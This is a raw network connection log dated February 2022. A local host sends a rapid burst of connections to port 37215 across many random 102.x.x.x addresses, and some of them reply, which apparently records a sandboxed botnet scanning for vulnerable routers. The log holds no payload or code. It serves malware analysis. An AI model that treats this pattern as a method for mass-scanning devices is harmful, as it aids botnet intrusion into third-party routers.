Feb 20, 2022 16:02:45.673659086 CET	27221	37215	192.168.2.23	102.36.103.55
Feb 20, 2022 16:02:45.673732042 CET	27221	37215	192.168.2.23	102.151.207.251
Feb 20, 2022 16:02:45.673774004 CET	27221	37215	192.168.2.23	102.155.176.19
Feb 20, 2022 16:02:45.673775911 CET	27221	37215	192.168.2.23	102.99.159.25
Feb 20, 2022 16:02:45.673856974 CET	27221	37215	192.168.2.23	102.12.210.123
Feb 20, 2022 16:02:45.673858881 CET	27221	37215	192.168.2.23	102.74.178.69
Feb 20, 2022 16:02:45.673926115 CET	27221	37215	192.168.2.23	102.88.153.209
Feb 20, 2022 16:02:45.673933983 CET	27221	37215	192.168.2.23	102.214.126.182
Feb 20, 2022 16:02:45.673966885 CET	27221	37215	192.168.2.23	102.193.181.159
Feb 20, 2022 16:02:45.674011946 CET	27221	37215	192.168.2.23	102.126.0.139
Feb 20, 2022 16:02:45.674081087 CET	27221	37215	192.168.2.23	102.43.244.162
Feb 20, 2022 16:02:45.674091101 CET	27221	37215	192.168.2.23	102.72.167.145
Feb 20, 2022 16:02:45.674122095 CET	27221	37215	192.168.2.23	102.139.236.205
Feb 20, 2022 16:02:45.674161911 CET	27221	37215	192.168.2.23	102.98.65.179
Feb 20, 2022 16:02:45.674196959 CET	27221	37215	192.168.2.23	102.67.159.67
Feb 20, 2022 16:02:45.674235106 CET	27221	37215	192.168.2.23	102.86.70.54
Feb 20, 2022 16:02:45.674309015 CET	27221	37215	192.168.2.23	102.131.77.77
Feb 20, 2022 16:02:45.674309969 CET	27221	37215	192.168.2.23	102.202.64.141
Feb 20, 2022 16:02:45.674411058 CET	27221	37215	192.168.2.23	102.136.167.215
Feb 20, 2022 16:02:45.674424887 CET	27221	37215	192.168.2.23	102.81.190.232
Feb 20, 2022 16:02:45.674432993 CET	27221	37215	192.168.2.23	102.68.143.65
Feb 20, 2022 16:02:45.674500942 CET	27221	37215	192.168.2.23	102.98.236.135
Feb 20, 2022 16:02:45.674539089 CET	27221	37215	192.168.2.23	102.85.249.131
Feb 20, 2022 16:02:45.674576998 CET	27221	37215	192.168.2.23	102.182.213.192
Feb 20, 2022 16:02:45.674614906 CET	27221	37215	192.168.2.23	102.68.185.241
Feb 20, 2022 16:02:45.674618959 CET	27221	37215	192.168.2.23	102.138.23.25
Feb 20, 2022 16:02:45.674665928 CET	27221	37215	192.168.2.23	102.28.97.75
Feb 20, 2022 16:02:45.674722910 CET	27221	37215	192.168.2.23	102.128.170.209
Feb 20, 2022 16:02:45.674756050 CET	27221	37215	192.168.2.23	102.21.114.222
Feb 20, 2022 16:02:45.674774885 CET	27221	37215	192.168.2.23	102.125.125.196
Feb 20, 2022 16:02:45.674822092 CET	27221	37215	192.168.2.23	102.24.29.156
Feb 20, 2022 16:02:45.674846888 CET	27221	37215	192.168.2.23	102.101.219.79
Feb 20, 2022 16:02:45.674879074 CET	27221	37215	192.168.2.23	102.184.141.162
Feb 20, 2022 16:02:45.674925089 CET	27221	37215	192.168.2.23	102.109.44.119
Feb 20, 2022 16:02:45.674957037 CET	27221	37215	192.168.2.23	102.15.193.89
Feb 20, 2022 16:02:45.674997091 CET	27221	37215	192.168.2.23	102.210.94.230
Feb 20, 2022 16:02:45.675035000 CET	27221	37215	192.168.2.23	102.32.63.3
Feb 20, 2022 16:02:45.675110102 CET	27221	37215	192.168.2.23	102.174.221.161
Feb 20, 2022 16:02:45.675118923 CET	27221	37215	192.168.2.23	102.136.131.144
Feb 20, 2022 16:02:45.675187111 CET	27221	37215	192.168.2.23	102.146.112.166
Feb 20, 2022 16:02:45.675221920 CET	27221	37215	192.168.2.23	102.242.133.108
Feb 20, 2022 16:02:45.675240993 CET	27221	37215	192.168.2.23	102.181.53.77
Feb 20, 2022 16:02:45.675263882 CET	27221	37215	192.168.2.23	102.94.231.6
Feb 20, 2022 16:02:45.675333977 CET	27221	37215	192.168.2.23	102.177.247.234
Feb 20, 2022 16:02:45.675339937 CET	27221	37215	192.168.2.23	102.41.116.246
Feb 20, 2022 16:02:45.675371885 CET	27221	37215	192.168.2.23	102.7.144.250
Feb 20, 2022 16:02:45.675411940 CET	27221	37215	192.168.2.23	102.207.193.158
Feb 20, 2022 16:02:45.675452948 CET	27221	37215	192.168.2.23	102.53.97.186
Feb 20, 2022 16:02:45.675496101 CET	27221	37215	192.168.2.23	102.46.228.131
Feb 20, 2022 16:02:45.675534010 CET	27221	37215	192.168.2.23	102.92.33.64
Feb 20, 2022 16:02:45.675566912 CET	27221	37215	192.168.2.23	102.37.246.165
Feb 20, 2022 16:02:45.675646067 CET	27221	37215	192.168.2.23	102.90.250.193
Feb 20, 2022 16:02:45.675652981 CET	27221	37215	192.168.2.23	102.154.205.252
Feb 20, 2022 16:02:45.675705910 CET	27221	37215	192.168.2.23	102.87.177.209
Feb 20, 2022 16:02:45.675728083 CET	27221	37215	192.168.2.23	102.75.73.161
Feb 20, 2022 16:02:45.675767899 CET	27221	37215	192.168.2.23	102.6.168.109
Feb 20, 2022 16:02:45.675811052 CET	27221	37215	192.168.2.23	102.52.212.176
Feb 20, 2022 16:02:45.675882101 CET	27221	37215	192.168.2.23	102.240.65.65
Feb 20, 2022 16:02:45.675884008 CET	27221	37215	192.168.2.23	102.184.75.103
Feb 20, 2022 16:02:45.675956011 CET	27221	37215	192.168.2.23	102.87.0.235
Feb 20, 2022 16:02:45.675996065 CET	27221	37215	192.168.2.23	102.189.15.202
Feb 20, 2022 16:02:45.676028013 CET	27221	37215	192.168.2.23	102.233.47.111
Feb 20, 2022 16:02:45.676084042 CET	27221	37215	192.168.2.23	102.64.253.98
Feb 20, 2022 16:02:45.676114082 CET	27221	37215	192.168.2.23	102.208.21.79
Feb 20, 2022 16:02:45.676143885 CET	27221	37215	192.168.2.23	102.147.19.57
Feb 20, 2022 16:02:45.676187992 CET	27221	37215	192.168.2.23	102.155.107.182
Feb 20, 2022 16:02:45.676198959 CET	27221	37215	192.168.2.23	102.65.160.188
Feb 20, 2022 16:02:45.676229954 CET	27221	37215	192.168.2.23	102.186.175.210
Feb 20, 2022 16:02:45.676266909 CET	27221	37215	192.168.2.23	102.135.195.6
Feb 20, 2022 16:02:45.676316977 CET	27221	37215	192.168.2.23	102.200.186.48
Feb 20, 2022 16:02:45.676383972 CET	27221	37215	192.168.2.23	102.66.104.26
Feb 20, 2022 16:02:45.676384926 CET	27221	37215	192.168.2.23	102.111.35.11
Feb 20, 2022 16:02:45.676469088 CET	27221	37215	192.168.2.23	102.164.23.36
Feb 20, 2022 16:02:45.676506042 CET	27221	37215	192.168.2.23	102.179.183.6
Feb 20, 2022 16:02:45.676522970 CET	27221	37215	192.168.2.23	102.159.162.71
Feb 20, 2022 16:02:45.676539898 CET	27221	37215	192.168.2.23	102.124.119.57
Feb 20, 2022 16:02:45.676575899 CET	27221	37215	192.168.2.23	102.199.229.50
Feb 20, 2022 16:02:45.676630974 CET	27221	37215	192.168.2.23	102.17.27.232
Feb 20, 2022 16:02:45.676662922 CET	27221	37215	192.168.2.23	102.139.2.242
Feb 20, 2022 16:02:45.676692009 CET	27221	37215	192.168.2.23	102.191.203.194
Feb 20, 2022 16:02:45.676733017 CET	27221	37215	192.168.2.23	102.141.38.252
Feb 20, 2022 16:02:45.676801920 CET	27221	37215	192.168.2.23	102.130.33.213
Feb 20, 2022 16:02:45.676843882 CET	27221	37215	192.168.2.23	102.145.11.231
Feb 20, 2022 16:02:45.676851988 CET	27221	37215	192.168.2.23	102.222.235.16
Feb 20, 2022 16:02:45.676882982 CET	27221	37215	192.168.2.23	102.106.210.209
Feb 20, 2022 16:02:45.676920891 CET	27221	37215	192.168.2.23	102.59.46.165
Feb 20, 2022 16:02:45.676960945 CET	27221	37215	192.168.2.23	102.205.14.50
Feb 20, 2022 16:02:45.677014112 CET	27221	37215	192.168.2.23	102.0.126.217
Feb 20, 2022 16:02:45.677038908 CET	27221	37215	192.168.2.23	102.152.136.137
Feb 20, 2022 16:02:45.677109957 CET	27221	37215	192.168.2.23	102.82.172.23
Feb 20, 2022 16:02:45.677151918 CET	27221	37215	192.168.2.23	102.177.204.117
Feb 20, 2022 16:02:45.677159071 CET	27221	37215	192.168.2.23	102.118.197.167
Feb 20, 2022 16:02:45.677222967 CET	27221	37215	192.168.2.23	102.8.132.213
Feb 20, 2022 16:02:45.677246094 CET	27221	37215	192.168.2.23	102.180.253.108
Feb 20, 2022 16:02:45.677283049 CET	27221	37215	192.168.2.23	102.77.152.214
Feb 20, 2022 16:02:45.677344084 CET	27221	37215	192.168.2.23	102.48.39.130
Feb 20, 2022 16:02:45.677357912 CET	27221	37215	192.168.2.23	102.206.135.209
Feb 20, 2022 16:02:45.677392960 CET	27221	37215	192.168.2.23	102.79.26.135
Feb 20, 2022 16:02:45.677459955 CET	27221	37215	192.168.2.23	102.146.230.193
Feb 20, 2022 16:02:45.677470922 CET	27221	37215	192.168.2.23	102.23.160.147
Feb 20, 2022 16:02:45.677479982 CET	27221	37215	192.168.2.23	102.237.162.211
Feb 20, 2022 16:02:45.677519083 CET	27221	37215	192.168.2.23	102.140.199.3
Feb 20, 2022 16:02:45.677561998 CET	27221	37215	192.168.2.23	102.133.191.228
Feb 20, 2022 16:02:45.677614927 CET	27221	37215	192.168.2.23	102.218.68.48
Feb 20, 2022 16:02:45.677654028 CET	27221	37215	192.168.2.23	102.23.32.183
Feb 20, 2022 16:02:45.677709103 CET	27221	37215	192.168.2.23	102.77.65.30
Feb 20, 2022 16:02:45.677750111 CET	27221	37215	192.168.2.23	102.81.213.75
Feb 20, 2022 16:02:45.677767038 CET	27221	37215	192.168.2.23	102.18.44.53
Feb 20, 2022 16:02:45.677786112 CET	27221	37215	192.168.2.23	102.184.217.251
Feb 20, 2022 16:02:45.677860975 CET	27221	37215	192.168.2.23	102.136.29.35
Feb 20, 2022 16:02:45.677906036 CET	27221	37215	192.168.2.23	102.189.18.241
Feb 20, 2022 16:02:45.677917957 CET	27221	37215	192.168.2.23	102.94.120.13
Feb 20, 2022 16:02:45.678052902 CET	27221	37215	192.168.2.23	102.248.17.155
Feb 20, 2022 16:02:45.678054094 CET	27221	37215	192.168.2.23	102.244.165.66
Feb 20, 2022 16:02:45.678056955 CET	27221	37215	192.168.2.23	102.134.152.255
Feb 20, 2022 16:02:45.678133011 CET	27221	37215	192.168.2.23	102.236.246.100
Feb 20, 2022 16:02:45.678134918 CET	27221	37215	192.168.2.23	102.13.196.97
Feb 20, 2022 16:02:45.678144932 CET	27221	37215	192.168.2.23	102.112.202.252
Feb 20, 2022 16:02:45.678172112 CET	27221	37215	192.168.2.23	102.115.13.242
Feb 20, 2022 16:02:45.678245068 CET	27221	37215	192.168.2.23	102.29.154.34
Feb 20, 2022 16:02:45.678252935 CET	27221	37215	192.168.2.23	102.246.209.216
Feb 20, 2022 16:02:45.678282022 CET	27221	37215	192.168.2.23	102.225.93.135
Feb 20, 2022 16:02:45.678323030 CET	27221	37215	192.168.2.23	102.178.231.86
Feb 20, 2022 16:02:45.678438902 CET	27221	37215	192.168.2.23	102.225.88.194
Feb 20, 2022 16:02:45.678445101 CET	27221	37215	192.168.2.23	102.133.29.159
Feb 20, 2022 16:02:45.678484917 CET	27221	37215	192.168.2.23	102.138.39.103
Feb 20, 2022 16:02:45.678514004 CET	27221	37215	192.168.2.23	102.63.48.104
Feb 20, 2022 16:02:45.678514004 CET	27221	37215	192.168.2.23	102.67.82.5
Feb 20, 2022 16:02:45.678565025 CET	27221	37215	192.168.2.23	102.83.98.236
Feb 20, 2022 16:02:45.678589106 CET	27221	37215	192.168.2.23	102.34.144.81
Feb 20, 2022 16:02:45.678699970 CET	27221	37215	192.168.2.23	102.153.181.48
Feb 20, 2022 16:02:45.678699970 CET	27221	37215	192.168.2.23	102.188.155.111
Feb 20, 2022 16:02:45.678714991 CET	27221	37215	192.168.2.23	102.249.177.226
Feb 20, 2022 16:02:45.678776026 CET	27221	37215	192.168.2.23	102.24.5.160
Feb 20, 2022 16:02:45.678781033 CET	27221	37215	192.168.2.23	102.200.29.111
Feb 20, 2022 16:02:45.678894997 CET	27221	37215	192.168.2.23	102.28.131.219
Feb 20, 2022 16:02:45.678929090 CET	27221	37215	192.168.2.23	102.181.209.150
Feb 20, 2022 16:02:45.678930998 CET	27221	37215	192.168.2.23	102.226.55.231
Feb 20, 2022 16:02:45.679001093 CET	27221	37215	192.168.2.23	102.144.111.4
Feb 20, 2022 16:02:45.679013968 CET	27221	37215	192.168.2.23	102.94.34.198
Feb 20, 2022 16:02:45.679056883 CET	27221	37215	192.168.2.23	102.94.100.57
Feb 20, 2022 16:02:45.679116011 CET	27221	37215	192.168.2.23	102.27.83.112
Feb 20, 2022 16:02:45.679174900 CET	27221	37215	192.168.2.23	102.1.123.191
Feb 20, 2022 16:02:45.679193020 CET	27221	37215	192.168.2.23	102.50.113.0
Feb 20, 2022 16:02:45.679197073 CET	27221	37215	192.168.2.23	102.106.215.56
Feb 20, 2022 16:02:45.679231882 CET	27221	37215	192.168.2.23	102.134.0.39
Feb 20, 2022 16:02:45.679246902 CET	27221	37215	192.168.2.23	102.174.70.177
Feb 20, 2022 16:02:45.679270029 CET	27221	37215	192.168.2.23	102.252.57.86
Feb 20, 2022 16:02:45.679327011 CET	27221	37215	192.168.2.23	102.189.47.185
Feb 20, 2022 16:02:45.679395914 CET	27221	37215	192.168.2.23	102.146.206.117
Feb 20, 2022 16:02:45.679420948 CET	27221	37215	192.168.2.23	102.125.15.245
Feb 20, 2022 16:02:45.679671049 CET	27221	37215	192.168.2.23	102.133.20.85
Feb 20, 2022 16:02:45.705400944 CET	37215	27221	102.72.171.254	192.168.2.23
Feb 20, 2022 16:02:45.721560955 CET	37215	27221	102.155.66.46	192.168.2.23
Feb 20, 2022 16:02:45.727381945 CET	37215	27221	102.29.193.162	192.168.2.23
Feb 20, 2022 16:02:45.746077061 CET	37215	27221	102.165.34.21	192.168.2.23
Feb 20, 2022 16:02:45.753770113 CET	37215	27221	102.155.107.182	192.168.2.23
Feb 20, 2022 16:02:45.763302088 CET	37215	27221	102.153.126.51	192.168.2.23
Feb 20, 2022 16:02:45.769678116 CET	37215	27221	102.48.233.77	192.168.2.23
Feb 20, 2022 16:02:45.782814026 CET	37215	27221	102.154.205.252	192.168.2.23
Feb 20, 2022 16:02:45.793823004 CET	37215	27221	102.176.122.115	192.168.2.23
Feb 20, 2022 16:02:45.819470882 CET	37215	27221	102.24.5.160	192.168.2.23
Feb 20, 2022 16:02:45.822921991 CET	37215	27221	102.143.215.23	192.168.2.23
Feb 20, 2022 16:02:45.842746973 CET	37215	27221	102.164.252.209	192.168.2.23
Feb 20, 2022 16:02:45.843662977 CET	37215	27221	102.132.61.163	192.168.2.23
Feb 20, 2022 16:02:45.853991985 CET	37215	27221	102.69.199.24	192.168.2.23
Feb 20, 2022 16:02:45.863054991 CET	37215	27221	102.132.14.22	192.168.2.23
Feb 20, 2022 16:02:45.864582062 CET	37215	27221	102.222.62.6	192.168.2.23
Feb 20, 2022 16:02:45.865067959 CET	37215	27221	102.141.165.5	192.168.2.23
Feb 20, 2022 16:02:45.885235071 CET	37215	27221	102.66.104.26	192.168.2.23
Feb 20, 2022 16:02:45.886778116 CET	37215	27221	102.164.15.254	192.168.2.23
Feb 20, 2022 16:02:45.889175892 CET	37215	27221	102.164.23.36	192.168.2.23
Feb 20, 2022 16:02:45.893163919 CET	37215	27221	102.154.121.174	192.168.2.23
Feb 20, 2022 16:02:45.898490906 CET	37215	27221	102.22.112.73	192.168.2.23
Feb 20, 2022 16:02:45.911884069 CET	37215	27221	102.164.201.34	192.168.2.23
Feb 20, 2022 16:02:45.925084114 CET	27477	37215	192.168.2.23	102.5.99.48
Feb 20, 2022 16:02:45.925108910 CET	27477	37215	192.168.2.23	102.107.65.233
Feb 20, 2022 16:02:45.925146103 CET	27477	37215	192.168.2.23	102.67.231.3
Feb 20, 2022 16:02:45.925187111 CET	27477	37215	192.168.2.23	102.251.174.221
Feb 20, 2022 16:02:45.925297022 CET	27477	37215	192.168.2.23	102.62.100.240
Feb 20, 2022 16:02:45.925318003 CET	27477	37215	192.168.2.23	102.202.43.226
Feb 20, 2022 16:02:45.925348997 CET	27477	37215	192.168.2.23	102.233.103.158
Feb 20, 2022 16:02:45.925357103 CET	27477	37215	192.168.2.23	102.20.74.219
Feb 20, 2022 16:02:45.925401926 CET	27477	37215	192.168.2.23	102.212.188.68
Feb 20, 2022 16:02:45.925435066 CET	27477	37215	192.168.2.23	102.14.252.198
Feb 20, 2022 16:02:45.925472975 CET	27477	37215	192.168.2.23	102.24.12.98
Feb 20, 2022 16:02:45.925512075 CET	27477	37215	192.168.2.23	102.35.69.188
Feb 20, 2022 16:02:45.925543070 CET	27477	37215	192.168.2.23	102.230.105.223
Feb 20, 2022 16:02:45.925592899 CET	27477	37215	192.168.2.23	102.228.123.154
Feb 20, 2022 16:02:45.925618887 CET	27477	37215	192.168.2.23	102.203.188.193
Feb 20, 2022 16:02:45.925661087 CET	27477	37215	192.168.2.23	102.62.28.17
Feb 20, 2022 16:02:45.925703049 CET	27477	37215	192.168.2.23	102.166.166.217
Feb 20, 2022 16:02:45.925740957 CET	27477	37215	192.168.2.23	102.151.35.112
Feb 20, 2022 16:02:45.925776958 CET	27477	37215	192.168.2.23	102.209.30.89
Feb 20, 2022 16:02:45.925818920 CET	27477	37215	192.168.2.23	102.199.69.81
Feb 20, 2022 16:02:45.925863028 CET	27477	37215	192.168.2.23	102.254.114.123
Feb 20, 2022 16:02:45.925899982 CET	27477	37215	192.168.2.23	102.84.136.189
Feb 20, 2022 16:02:45.925947905 CET	27477	37215	192.168.2.23	102.13.190.222
Feb 20, 2022 16:02:45.925976038 CET	27477	37215	192.168.2.23	102.8.66.167
Feb 20, 2022 16:02:45.926017046 CET	27477	37215	192.168.2.23	102.230.102.33
Feb 20, 2022 16:02:45.926049948 CET	27477	37215	192.168.2.23	102.234.15.93
Feb 20, 2022 16:02:45.926091909 CET	27477	37215	192.168.2.23	102.209.136.148
Feb 20, 2022 16:02:45.926131964 CET	27477	37215	192.168.2.23	102.40.152.149
Feb 20, 2022 16:02:45.926168919 CET	27477	37215	192.168.2.23	102.27.78.176
Feb 20, 2022 16:02:45.926217079 CET	27477	37215	192.168.2.23	102.125.100.124
Feb 20, 2022 16:02:45.926253080 CET	27477	37215	192.168.2.23	102.172.222.10
Feb 20, 2022 16:02:45.926285982 CET	27477	37215	192.168.2.23	102.242.136.18
Feb 20, 2022 16:02:45.926327944 CET	27477	37215	192.168.2.23	102.218.136.111
Feb 20, 2022 16:02:45.926374912 CET	27477	37215	192.168.2.23	102.167.29.157
Feb 20, 2022 16:02:45.926403999 CET	27477	37215	192.168.2.23	102.83.46.105
Feb 20, 2022 16:02:45.926457882 CET	27477	37215	192.168.2.23	102.190.70.86
Feb 20, 2022 16:02:45.926487923 CET	27477	37215	192.168.2.23	102.157.4.226
Feb 20, 2022 16:02:45.926532984 CET	27477	37215	192.168.2.23	102.123.254.7
Feb 20, 2022 16:02:45.926568031 CET	27477	37215	192.168.2.23	102.242.116.88
Feb 20, 2022 16:02:45.926610947 CET	27477	37215	192.168.2.23	102.244.75.186
Feb 20, 2022 16:02:45.926649094 CET	27477	37215	192.168.2.23	102.30.38.34
Feb 20, 2022 16:02:45.926686049 CET	27477	37215	192.168.2.23	102.65.247.104
Feb 20, 2022 16:02:45.926723957 CET	27477	37215	192.168.2.23	102.143.161.83
Feb 20, 2022 16:02:45.926769972 CET	27477	37215	192.168.2.23	102.159.136.244
Feb 20, 2022 16:02:45.926809072 CET	27477	37215	192.168.2.23	102.60.185.251
Feb 20, 2022 16:02:45.926841021 CET	27477	37215	192.168.2.23	102.199.127.85
Feb 20, 2022 16:02:45.926881075 CET	27477	37215	192.168.2.23	102.69.68.37
Feb 20, 2022 16:02:45.926923990 CET	27477	37215	192.168.2.23	102.139.106.181
Feb 20, 2022 16:02:45.926968098 CET	27477	37215	192.168.2.23	102.82.150.242
Feb 20, 2022 16:02:45.927016973 CET	27477	37215	192.168.2.23	102.154.173.63
Feb 20, 2022 16:02:45.927052975 CET	27477	37215	192.168.2.23	102.187.39.112
Feb 20, 2022 16:02:45.927095890 CET	27477	37215	192.168.2.23	102.252.154.13
Feb 20, 2022 16:02:45.927129030 CET	27477	37215	192.168.2.23	102.188.188.78
Feb 20, 2022 16:02:45.927171946 CET	27477	37215	192.168.2.23	102.108.20.101
Feb 20, 2022 16:02:45.927208900 CET	27477	37215	192.168.2.23	102.77.31.149
Feb 20, 2022 16:02:45.927252054 CET	27477	37215	192.168.2.23	102.132.169.104
Feb 20, 2022 16:02:45.927289009 CET	27477	37215	192.168.2.23	102.156.177.72
Feb 20, 2022 16:02:45.927331924 CET	27477	37215	192.168.2.23	102.53.56.19
Feb 20, 2022 16:02:45.927378893 CET	27477	37215	192.168.2.23	102.46.59.184
Feb 20, 2022 16:02:45.927413940 CET	27477	37215	192.168.2.23	102.119.65.243
Feb 20, 2022 16:02:45.927455902 CET	27477	37215	192.168.2.23	102.70.174.166
Feb 20, 2022 16:02:45.927505016 CET	27477	37215	192.168.2.23	102.23.227.116
Feb 20, 2022 16:02:45.927541018 CET	27477	37215	192.168.2.23	102.69.149.65
Feb 20, 2022 16:02:45.927591085 CET	27477	37215	192.168.2.23	102.91.95.129
Feb 20, 2022 16:02:45.927630901 CET	27477	37215	192.168.2.23	102.93.0.55
Feb 20, 2022 16:02:45.927684069 CET	27477	37215	192.168.2.23	102.89.172.203
Feb 20, 2022 16:02:45.927716017 CET	27477	37215	192.168.2.23	102.171.248.187
Feb 20, 2022 16:02:45.927757978 CET	27477	37215	192.168.2.23	102.98.11.5
Feb 20, 2022 16:02:45.927800894 CET	27477	37215	192.168.2.23	102.252.42.194
Feb 20, 2022 16:02:45.927838087 CET	27477	37215	192.168.2.23	102.98.161.36
Feb 20, 2022 16:02:45.927890062 CET	27477	37215	192.168.2.23	102.234.144.170
Feb 20, 2022 16:02:45.927930117 CET	27477	37215	192.168.2.23	102.162.81.238
Feb 20, 2022 16:02:45.927966118 CET	27477	37215	192.168.2.23	102.64.234.166
Feb 20, 2022 16:02:45.928013086 CET	27477	37215	192.168.2.23	102.187.55.68
Feb 20, 2022 16:02:45.928046942 CET	27477	37215	192.168.2.23	102.211.2.36
Feb 20, 2022 16:02:45.928083897 CET	27477	37215	192.168.2.23	102.7.46.106
Feb 20, 2022 16:02:45.928131104 CET	27477	37215	192.168.2.23	102.39.115.121
Feb 20, 2022 16:02:45.928165913 CET	27477	37215	192.168.2.23	102.176.24.41
Feb 20, 2022 16:02:45.928201914 CET	27477	37215	192.168.2.23	102.26.133.76
Feb 20, 2022 16:02:45.928245068 CET	27477	37215	192.168.2.23	102.188.136.10
Feb 20, 2022 16:02:45.928292990 CET	27477	37215	192.168.2.23	102.149.149.140
Feb 20, 2022 16:02:45.928339958 CET	27477	37215	192.168.2.23	102.61.143.242
Feb 20, 2022 16:02:45.928364992 CET	27477	37215	192.168.2.23	102.184.0.3
Feb 20, 2022 16:02:45.928402901 CET	27477	37215	192.168.2.23	102.34.206.67
Feb 20, 2022 16:02:45.928443909 CET	27477	37215	192.168.2.23	102.109.121.190
Feb 20, 2022 16:02:45.928488016 CET	27477	37215	192.168.2.23	102.55.101.104
Feb 20, 2022 16:02:45.928524971 CET	27477	37215	192.168.2.23	102.186.107.116
Feb 20, 2022 16:02:45.928567886 CET	27477	37215	192.168.2.23	102.140.105.45
Feb 20, 2022 16:02:45.928611040 CET	27477	37215	192.168.2.23	102.5.57.103
Feb 20, 2022 16:02:45.928647041 CET	27477	37215	192.168.2.23	102.2.126.208
Feb 20, 2022 16:02:45.928692102 CET	27477	37215	192.168.2.23	102.145.214.89
Feb 20, 2022 16:02:45.928730965 CET	27477	37215	192.168.2.23	102.152.70.99
Feb 20, 2022 16:02:45.928771973 CET	27477	37215	192.168.2.23	102.33.241.49
Feb 20, 2022 16:02:45.928812027 CET	27477	37215	192.168.2.23	102.6.207.84
Feb 20, 2022 16:02:45.928853035 CET	27477	37215	192.168.2.23	102.22.175.33
Feb 20, 2022 16:02:45.928895950 CET	27477	37215	192.168.2.23	102.222.86.200
Feb 20, 2022 16:02:45.928937912 CET	27477	37215	192.168.2.23	102.250.57.117
Feb 20, 2022 16:02:45.928981066 CET	27477	37215	192.168.2.23	102.85.181.218
Feb 20, 2022 16:02:45.929018974 CET	27477	37215	192.168.2.23	102.171.126.177
Feb 20, 2022 16:02:45.929059029 CET	27477	37215	192.168.2.23	102.223.121.47
Feb 20, 2022 16:02:45.929092884 CET	27477	37215	192.168.2.23	102.212.156.39
Feb 20, 2022 16:02:45.929138899 CET	27477	37215	192.168.2.23	102.90.182.39
Feb 20, 2022 16:02:45.929177999 CET	27477	37215	192.168.2.23	102.50.202.64
Feb 20, 2022 16:02:45.929207087 CET	27477	37215	192.168.2.23	102.21.185.180
Feb 20, 2022 16:02:45.929244995 CET	27477	37215	192.168.2.23	102.85.109.143
Feb 20, 2022 16:02:45.929290056 CET	27477	37215	192.168.2.23	102.223.81.151
Feb 20, 2022 16:02:45.929325104 CET	27477	37215	192.168.2.23	102.148.15.220
Feb 20, 2022 16:02:45.929363966 CET	27477	37215	192.168.2.23	102.180.189.198
Feb 20, 2022 16:02:45.929405928 CET	27477	37215	192.168.2.23	102.7.199.16
Feb 20, 2022 16:02:45.929442883 CET	27477	37215	192.168.2.23	102.64.68.159
Feb 20, 2022 16:02:45.929493904 CET	27477	37215	192.168.2.23	102.124.62.66
Feb 20, 2022 16:02:45.929532051 CET	27477	37215	192.168.2.23	102.196.47.192
Feb 20, 2022 16:02:45.929578066 CET	27477	37215	192.168.2.23	102.160.69.111
Feb 20, 2022 16:02:45.929611921 CET	27477	37215	192.168.2.23	102.250.22.36
Feb 20, 2022 16:02:45.929655075 CET	27477	37215	192.168.2.23	102.11.120.219
Feb 20, 2022 16:02:45.929692984 CET	27477	37215	192.168.2.23	102.5.189.220
Feb 20, 2022 16:02:45.929729939 CET	27477	37215	192.168.2.23	102.49.115.164
Feb 20, 2022 16:02:45.929771900 CET	27477	37215	192.168.2.23	102.201.180.151
Feb 20, 2022 16:02:45.929810047 CET	27477	37215	192.168.2.23	102.28.106.111
Feb 20, 2022 16:02:45.929856062 CET	27477	37215	192.168.2.23	102.37.144.81
Feb 20, 2022 16:02:45.929891109 CET	27477	37215	192.168.2.23	102.50.222.110
Feb 20, 2022 16:02:45.929927111 CET	27477	37215	192.168.2.23	102.5.197.58
Feb 20, 2022 16:02:45.929968119 CET	27477	37215	192.168.2.23	102.78.2.163
Feb 20, 2022 16:02:45.930006027 CET	27477	37215	192.168.2.23	102.20.253.22
Feb 20, 2022 16:02:45.930057049 CET	27477	37215	192.168.2.23	102.1.37.52
Feb 20, 2022 16:02:45.930083036 CET	27477	37215	192.168.2.23	102.105.243.200
Feb 20, 2022 16:02:45.930125952 CET	27477	37215	192.168.2.23	102.85.255.82
Feb 20, 2022 16:02:45.930177927 CET	27477	37215	192.168.2.23	102.31.198.136
Feb 20, 2022 16:02:45.930210114 CET	27477	37215	192.168.2.23	102.209.12.46
Feb 20, 2022 16:02:45.930252075 CET	27477	37215	192.168.2.23	102.193.57.55
Feb 20, 2022 16:02:45.930298090 CET	27477	37215	192.168.2.23	102.238.66.106
Feb 20, 2022 16:02:45.930334091 CET	27477	37215	192.168.2.23	102.133.138.247
Feb 20, 2022 16:02:45.930376053 CET	27477	37215	192.168.2.23	102.140.160.207
Feb 20, 2022 16:02:45.930421114 CET	27477	37215	192.168.2.23	102.72.30.79
Feb 20, 2022 16:02:45.930453062 CET	27477	37215	192.168.2.23	102.13.135.88
Feb 20, 2022 16:02:45.930499077 CET	27477	37215	192.168.2.23	102.224.188.198
Feb 20, 2022 16:02:45.930532932 CET	27477	37215	192.168.2.23	102.143.17.108
Feb 20, 2022 16:02:45.930581093 CET	27477	37215	192.168.2.23	102.163.30.222
Feb 20, 2022 16:02:45.930613041 CET	27477	37215	192.168.2.23	102.39.210.218
Feb 20, 2022 16:02:45.930656910 CET	27477	37215	192.168.2.23	102.124.220.16
Feb 20, 2022 16:02:45.930697918 CET	27477	37215	192.168.2.23	102.48.116.169
Feb 20, 2022 16:02:45.930749893 CET	27477	37215	192.168.2.23	102.94.137.230
Feb 20, 2022 16:02:45.930783987 CET	27477	37215	192.168.2.23	102.93.166.186
Feb 20, 2022 16:02:45.930825949 CET	27477	37215	192.168.2.23	102.93.54.12
Feb 20, 2022 16:02:45.930864096 CET	27477	37215	192.168.2.23	102.24.119.206
Feb 20, 2022 16:02:45.930902004 CET	27477	37215	192.168.2.23	102.110.125.198
Feb 20, 2022 16:02:45.930948973 CET	27477	37215	192.168.2.23	102.23.159.71
Feb 20, 2022 16:02:45.930989981 CET	27477	37215	192.168.2.23	102.109.231.235
Feb 20, 2022 16:02:45.931025028 CET	27477	37215	192.168.2.23	102.233.20.181
Feb 20, 2022 16:02:45.931062937 CET	27477	37215	192.168.2.23	102.249.199.162
Feb 20, 2022 16:02:45.931104898 CET	27477	37215	192.168.2.23	102.247.43.204
Feb 20, 2022 16:02:45.931143045 CET	27477	37215	192.168.2.23	102.193.186.225
Feb 20, 2022 16:02:45.931180954 CET	27477	37215	192.168.2.23	102.99.162.131
Feb 20, 2022 16:02:45.931219101 CET	27477	37215	192.168.2.23	102.50.113.159
Feb 20, 2022 16:02:45.931271076 CET	27477	37215	192.168.2.23	102.109.150.25
Feb 20, 2022 16:02:45.931303024 CET	27477	37215	192.168.2.23	102.105.121.45
Feb 20, 2022 16:02:45.931368113 CET	27477	37215	192.168.2.23	102.83.215.220
Feb 20, 2022 16:02:45.931382895 CET	27477	37215	192.168.2.23	102.245.234.66
